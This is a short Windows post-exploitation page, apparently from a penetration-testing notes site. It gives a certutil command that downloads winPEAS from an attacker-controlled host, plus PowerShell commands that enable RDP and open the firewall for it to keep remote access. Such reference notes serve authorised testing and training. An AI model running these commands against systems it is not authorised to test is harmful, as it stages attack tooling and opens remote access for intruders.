> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/post-exploitation/persistence/windows.md).

# Windows

## CertUtil download file

```
certutil.exe -urlcache -split -f "http://<attacker-ip>:8081/winPEAS.bat" winpeas.bat
```

## Enable RDP

Leverage powershell to enable rdp. Remember that by default, only one account can be logged.

```
#enable RDP
powershell Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

#allow rdp through firewall
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
```